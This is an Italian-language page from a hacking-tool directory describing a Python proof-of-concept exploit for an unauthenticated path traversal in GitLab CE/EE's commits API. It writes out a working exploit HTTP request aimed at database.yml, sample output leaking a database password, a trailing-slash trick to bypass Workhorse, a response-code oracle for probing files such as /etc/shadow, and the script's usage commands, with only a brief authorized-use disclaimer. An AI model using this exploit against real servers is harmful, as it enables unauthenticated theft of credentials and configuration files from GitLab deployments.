Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-85706 — PoC Python per CVE-2026-85706, un path traversal non autenticato nell'API Repository Commits di GitLab CE/EE che espone file locali arbitrari tramite un oracolo a quattro stati. | Kitploit
Strumenti/GitHubGitHub/mhtsec/cve-2026-85706
RicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta InformazioniSicurezza WebPenetration Testing
GitHubmhtsec/cve-2026-85706

CVE-2026-85706

PoC Python per CVE-2026-85706, un path traversal non autenticato nell'API Repository Commits di GitLab CE/EE che espone file locali arbitrari tramite un oracolo a quattro stati.

Vedi Repository
111h 22m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-85706: Path traversal non autorizzato in GitLab CE/EE

  • CVE: CVE-2026-85706, CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • Componente: GitLab CE/EE Repository Commits API (variante Workhorse body-upload)
  • Impatto: 18.7 ≤ version < 19.1.8, 19.2.0–19.2.5, 19.3.0–19.3.1
  • Fix: 19.1.8 / 19.2.6 / 19.3.2 (rilascio della patch critica del 2026-09-10)
  • Impatto: path traversal per leggere file locali arbitrari sul server senza alcun account; la possibilità di eco del contenuto dipende dal file di destinazione, costituendo un oracolo a quattro stati (vedi «Confini dell'eco»)

Catena della vulnerabilità

L'API «crea commit» di GitLab (POST /api/v4/projects/:id/repository/commits) consente di inviare grandi quantità di contenuto di file in una singola richiesta. Per evitare che corpi di richiesta eccessivamente grandi entrino direttamente nel parsing di Rails, Workhorse scrive prima il corpo della richiesta su disco come file temporaneo, poi inietta i metadati come file.path / file.size nella richiesta inoltrata, e l'endpoint Rails rilegge il file in base a questi parametri. La catena della vulnerabilità è la combinazione di quattro elementi:

  1. Autenticazione dopo la lettura del file: l'entry point post ':id/repository/commits' ha solo require_gitlab_workhorse! (che verifica solo "inoltrato tramite Workhorse"), mentre la vera authenticate! è nascosta più avanti in authorize_push_to_branch!, e la lettura del path traversal avviene prima di essa.
  2. Metadati su disco presi dai parametri della richiesta: file_params_from_body_upload tratta direttamente i parametri della richiesta file.path / file.size / Content-Type come metadati iniettati da Workhorse, senza distinguere l'origine dei parametri, e File.read(file_path) permette di attraversare qualsiasi percorso locale.
  3. Eco degli errori di parsing di Rack: con Content-Type=application/x-www-form-urlencoded, il contenuto del file viene passato a Rack::Utils.parse_nested_query per il parsing; una sequenza non valida nel contenuto attiva , che viene restituito tale e quale nella risposta 400 tramite . L'eco è first-come-first-served: / sono i confini dei componenti, il parsing si interrompe al primo non valido nel componente in cui si trova e restituisce quel componente; in assenza di separatori l'intero file viene restituito come un unico componente (le sequenze di escape esadecimale valide non attivano l'errore).

Prerequisiti: :id nell'URL deve essere un progetto realmente esistente (qualsiasi progetto pubblico va bene), e non è necessario effettuare il login in nessun momento.

Richiesta di exploit (database.yml in un deployment con DB esterno, con password contenente una sequenza % non valida viene restituito l'intero blocco):

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

Risposta (viene restituito l'intero componente in cui si trova il primo % non valido):

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

Confini dell'eco (oracolo a quattro stati)

La lettura viene eseguita con l'identità dell'utente git del processo Puma, e la risposta costituisce un oracolo a quattro stati:

Ambito effettivamente leggibile in un deployment predefinito (verificato sul campo):

  • Il campo di battaglia principale per la lettura dei contenuti sono i file che contengono naturalmente %: log e artefatti di build CI, allegati caricati dagli utenti, database.yml di deployment con DB esterno. In database.yml con l'autenticazione peer socket locale predefinita il campo password è vuoto, e ha un valore solo nei deployment con DB esterno.
  • gitlab.yml: i commenti del template renderizzato contengono già sequenze come 95%, %{key} in testa al file (circa riga 19), mentre le configurazioni delle credenziali (incoming_email, LDAP, object storage, ecc.) si trovano dopo la riga 170 — il first-come-first-served significa che in un deployment predefinito è possibile restituire solo il segmento di testa, e il segmento delle credenziali non è leggibile; è leggibile solo in varianti di deployment senza sequenze interferenti (template personalizzati, ecc.). Si noti inoltre che la password SMTP (gitlab_rails['smtp_password']) non viene renderizzata in gitlab.yml; ciò che viene effettivamente renderizzato sono le credenziali di incoming_email, LDAP, object_store.
  • secrets.yml è puro hex senza %, quindi il contenuto non è leggibile (401); , le chiavi private TLS e gli archivi di backup sono root-only (solo oracolo 500).

Utilizzo dello script

Implementato con la libreria standard di Python 3, senza dipendenze di terze parti. Lo script interpreta automaticamente i risultati dei quattro stati secondo la tabella precedente.

root@kitploit:~
python3 exploit.py -t http://<target>:<port>        # legge gitlab.yml per impostazione predefinita (verifica rapida dell'eco)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd

Output di esempio (lettura di gitlab.yml in un deployment predefinito — viene restituito il segmento di testa e non quello delle credenziali):

root@kitploit:~
============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

Solo per test di sicurezza autorizzati e ricerca sulle vulnerabilità.

Scarica lo strumento
%
ArgumentError: invalid %-encoding (<contenuto componente>)
bad_request!
&
=
%
%xx
  • Slash finale per aggirare la riscrittura di Workhorse: colpire direttamente l'endpoint principale attiva l'intercettazione body-upload di Workhorse (che corrisponde rigorosamente a .../repository/commits\z), e i parametri falsificati vengono inghiottiti nel contenuto del file su disco. Aggiungendo / alla fine dell'URL la regola non corrisponde più, e si ricade nel reverse proxy firmato di fallback — il corpo della richiesta originale insieme ai parametri falsificati viene inoltrato tale e quale a Rails con un JWT valido, require_gitlab_workhorse! passa; dopo la normalizzazione dello slash finale da parte di Grape, l'handler vulnerabile viene comunque raggiunto.
  • RispostaSignificatoEsempio
    400 local file not presentIl file non esiste/etc/nonexistent
    500 Internal Server ErrorEsiste ma l'utente git non ha i permessi di lettura (Errno::EACCES non gestito); anche gli errori di parsing del ramo multipart su file leggibili finiscono in 500/etc/shadow, /etc/gitlab/gitlab-secrets.json
    401 UnauthorizedEsiste ed è leggibile, ma il contenuto non ha sequenze % non valide, quindi non viene restituito/etc/passwd, /proc/self/environ
    400 invalid %-encoding (<contenuto>)Esiste, è leggibile e contiene una sequenza % non valida — viene restituito l'intero componente in cui si trovaLog contenenti %, artefatti di build CI, database.yml di DB esterno
    gitlab.rb
  • L'oracolo a quattro stati è di per sé anche una primitiva di ricognizione: sondare la struttura dei percorsi interni, l'auto-ispezione dei processi tramite /proc/self/*, e sondare l'esistenza di progetti privati convertendo l'ID del progetto nel percorso @hashed.
  • ParametroDescrizione
    -tIndirizzo GitLab di destinazione (obbligatorio), ad esempio http://<target>:<port>
    -fPercorso assoluto da leggere (predefinito /var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
    -pID del progetto, qualsiasi progetto realmente esistente va bene (predefinito 1)
    -oSalva il contenuto letto in un file locale